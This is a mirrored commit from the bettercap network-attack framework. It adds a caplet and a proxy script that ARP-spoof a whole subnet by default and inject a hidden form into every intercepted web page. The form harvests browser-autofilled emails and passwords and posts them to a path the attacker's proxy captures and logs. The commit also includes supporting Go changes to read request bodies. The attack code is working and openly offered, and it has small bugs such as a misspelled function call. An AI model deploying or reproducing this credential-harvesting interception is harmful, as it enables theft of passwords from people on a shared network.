mirror of
https://github.com/bettercap/bettercap
synced 2025-07-11 07:37:00 -07:00
new: login manager abuser caplet and script
This commit is contained in:
parent
5b969ffa9e
commit
aa25dae73c
5 changed files with 134 additions and 4 deletions
13
caplets/login-man-abuse.cap
Normal file
13
caplets/login-man-abuse.cap
Normal file
|
@ -0,0 +1,13 @@
|
||||||
|
# targeting the whole subnet by default, to make it selective:
|
||||||
|
#
|
||||||
|
# sudo ./bettercap-ng -caplet caplets/login-man-abuse.cap -eval "set arp.spoof.targets 192.168.1.53"
|
||||||
|
|
||||||
|
set http.proxy.script caplets/login-man-abuse.js
|
||||||
|
net.recon on
|
||||||
|
http.proxy on
|
||||||
|
sleep 1
|
||||||
|
arp.spoof on
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
102
caplets/login-man-abuse.js
Normal file
102
caplets/login-man-abuse.js
Normal file
|
@ -0,0 +1,102 @@
|
||||||
|
/*
|
||||||
|
* Ref.
|
||||||
|
* - https://github.com/evilsocket/bettercap-proxy-modules/issues/72
|
||||||
|
* - https://freedom-to-tinker.com/2017/12/27/no-boundaries-for-user-identities-web-trackers-exploit-browser-login-managers/
|
||||||
|
*
|
||||||
|
* The idea:
|
||||||
|
*
|
||||||
|
* - On every html page, inject this invisible form who grabs credentials from login managers.
|
||||||
|
* - POST such credentials to /login-man-abuser, given we control the HTTP traffic, we'll intercept this request.
|
||||||
|
* - Intercept request, dump credentials, drop client to 404.
|
||||||
|
*/
|
||||||
|
var AbuserJavascript =
|
||||||
|
'var injectForm = function(visible) {' + "\n" +
|
||||||
|
' var container = document.createElement("div");' + "\n" +
|
||||||
|
' if (!visible){' + "\n" +
|
||||||
|
' container.style.display = "none";' + "\n" +
|
||||||
|
' }' + "\n" +
|
||||||
|
' var form = document.createElement("form");' + "\n" +
|
||||||
|
' form.attributes.autocomplete = "on";' + "\n" +
|
||||||
|
' var emailInput = document.createElement("input");' + "\n" +
|
||||||
|
' emailInput.attributes.vcard_name = "vCard.Email";' + "\n" +
|
||||||
|
' emailInput.id = "email";' + "\n" +
|
||||||
|
' emailInput.type = "email";' + "\n" +
|
||||||
|
' emailInput.name = "email";' + "\n" +
|
||||||
|
' form.appendChild(emailInput);' + "\n" +
|
||||||
|
' var passwordInput = document.createElement("input");' + "\n" +
|
||||||
|
' passwordInput.id = "password";' + "\n" +
|
||||||
|
' passwordInput.type = "password";' + "\n" +
|
||||||
|
' passwordInput.name = "password";' + "\n" +
|
||||||
|
' form.appendChild(passwordInput);' + "\n" +
|
||||||
|
' container.appendChild(form);' + "\n" +
|
||||||
|
' document.body.appendChild(container);' + "\n" +
|
||||||
|
'};' + "\n" +
|
||||||
|
'' + "\n" +
|
||||||
|
'var doPOST = function(data) {' + "\n" +
|
||||||
|
' var xhr = new XMLHttpRequest();' + "\n" +
|
||||||
|
'' + "\n" +
|
||||||
|
' xhr.open("POST", "/login-man-abuser");' + "\n" +
|
||||||
|
' xhr.setRequestHeader("Content-Type", "application/json");' + "\n" +
|
||||||
|
' xhr.onload = function() {' + "\n" +
|
||||||
|
' console.log("Enjoy your coffee!");' + "\n" +
|
||||||
|
' };' + "\n" +
|
||||||
|
'' + "\n" +
|
||||||
|
' xhr.send(JSON.stringify(data));' + "\n" +
|
||||||
|
'};' + "\n" +
|
||||||
|
'' + "\n" +
|
||||||
|
'var sniffInputField = function(fieldId){' + "\n" +
|
||||||
|
' var inputElement = document.getElementById(fieldId);' + "\n" +
|
||||||
|
' if (inputElement.value.length){' + "\n" +
|
||||||
|
' return {fieldId: inputElement.value};' + "\n" +
|
||||||
|
' }' + "\n" +
|
||||||
|
' window.setTimeout(sniffInputField, 200, fieldId); // wait for 200ms' + "\n" +
|
||||||
|
'};' + "\n" +
|
||||||
|
'' + "\n" +
|
||||||
|
'var sniffInputFields = function(){' + "\n" +
|
||||||
|
' var inputs = document.getElementsByTagName("input");' + "\n" +
|
||||||
|
' data = {};' + "\n" +
|
||||||
|
' for (var i = 0; i < inputs.length; i++) {' + "\n" +
|
||||||
|
' console.log("Will try to sniff element with id: " + inputs[i].id);' + "\n" +
|
||||||
|
' output = stringsniffInputField(inputs[i].id);' + "\n" +
|
||||||
|
' data = Object.assign({}, data, output);' + "\n" +
|
||||||
|
' }' + "\n" +
|
||||||
|
' doPOST(data);' + "\n" +
|
||||||
|
'};' + "\n" +
|
||||||
|
'' + "\n" +
|
||||||
|
'var sniffFormInfo = function(visible) {' + "\n" +
|
||||||
|
' injectForm(visible);' + "\n" +
|
||||||
|
' sniffInputFields();' + "\n" +
|
||||||
|
'};' + "\n" +
|
||||||
|
'' + "\n" +
|
||||||
|
'sniffFormInfo(false);';
|
||||||
|
|
||||||
|
// here we intercept the ajax POST request with leaked credentials.
|
||||||
|
function onRequest(req, res) {
|
||||||
|
if( req.Method == 'POST' && req.Path == "/login-man-abuser" ) {
|
||||||
|
console.log( "[LOGIN MANAGER ABUSER]", req.ReadBody() );
|
||||||
|
// this was just a fake request we needed to exfiltrate
|
||||||
|
// credentials to us, drop the connection with an empty 200.
|
||||||
|
res.Status = 200;
|
||||||
|
res.ContentType = "text/html";
|
||||||
|
res.Headers = "Connection: close";
|
||||||
|
res.Body = "";
|
||||||
|
res.Updated();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// inject the javascript in html pages
|
||||||
|
function onResponse(req, res) {
|
||||||
|
if( res.ContentType.indexOf('text/html') == 0 ){
|
||||||
|
var body = res.ReadBody();
|
||||||
|
if( body.indexOf('</head>') != -1 ) {
|
||||||
|
res.Body = body.replace(
|
||||||
|
'</head>',
|
||||||
|
'<script type="text/javascript">' + "\n" +
|
||||||
|
AbuserJavascript +
|
||||||
|
'</script>' +
|
||||||
|
'</head>'
|
||||||
|
);
|
||||||
|
res.Updated();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
6
main.go
6
main.go
|
@ -2,6 +2,7 @@ package main
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"runtime"
|
"runtime"
|
||||||
|
"strings"
|
||||||
|
|
||||||
"github.com/op/go-logging"
|
"github.com/op/go-logging"
|
||||||
|
|
||||||
|
@ -35,10 +36,13 @@ func main() {
|
||||||
defer sess.Close()
|
defer sess.Close()
|
||||||
|
|
||||||
if *sess.Options.Commands != "" {
|
if *sess.Options.Commands != "" {
|
||||||
if err = sess.Run(*sess.Options.Commands); err != nil {
|
for _, cmd := range strings.Split(*sess.Options.Commands, ";") {
|
||||||
|
cmd = strings.Trim(cmd, "\r\n\t ")
|
||||||
|
if err = sess.Run(cmd); err != nil {
|
||||||
log.Fatal(err)
|
log.Fatal(err)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
if *sess.Options.Caplet != "" {
|
if *sess.Options.Caplet != "" {
|
||||||
if err = sess.RunCaplet(*sess.Options.Caplet); err != nil {
|
if err = sess.RunCaplet(*sess.Options.Caplet); err != nil {
|
||||||
|
|
|
@ -2,6 +2,7 @@ package session_modules
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"io/ioutil"
|
||||||
"net/http"
|
"net/http"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
@ -17,6 +18,7 @@ type JSRequest struct {
|
||||||
Hostname string
|
Hostname string
|
||||||
Headers []JSHeader
|
Headers []JSHeader
|
||||||
Body string
|
Body string
|
||||||
|
req *http.Request
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewJSRequest(req *http.Request) JSRequest {
|
func NewJSRequest(req *http.Request) JSRequest {
|
||||||
|
@ -33,9 +35,18 @@ func NewJSRequest(req *http.Request) JSRequest {
|
||||||
Path: req.URL.Path,
|
Path: req.URL.Path,
|
||||||
Hostname: req.Host,
|
Hostname: req.Host,
|
||||||
Headers: headers,
|
Headers: headers,
|
||||||
|
req: req,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (j *JSRequest) ReadBody() string {
|
func (j *JSRequest) ReadBody() string {
|
||||||
return "TODO: read body"
|
raw, err := ioutil.ReadAll(j.req.Body)
|
||||||
|
if err != nil {
|
||||||
|
log.Errorf("Could not read request body: %s", err)
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
j.Body = string(raw)
|
||||||
|
|
||||||
|
return j.Body
|
||||||
}
|
}
|
||||||
|
|
|
@ -108,7 +108,7 @@ func (s *ProxyScript) hasCallback(name string) bool {
|
||||||
func (s *ProxyScript) doRequestDefines(req *http.Request) (err error, jsres *JSResponse) {
|
func (s *ProxyScript) doRequestDefines(req *http.Request) (err error, jsres *JSResponse) {
|
||||||
// convert request and define empty response to be optionally filled
|
// convert request and define empty response to be optionally filled
|
||||||
jsreq := NewJSRequest(req)
|
jsreq := NewJSRequest(req)
|
||||||
if err = s.VM.Set("req", jsreq); err != nil {
|
if err = s.VM.Set("req", &jsreq); err != nil {
|
||||||
log.Errorf("Error while defining request: %s", err)
|
log.Errorf("Error while defining request: %s", err)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue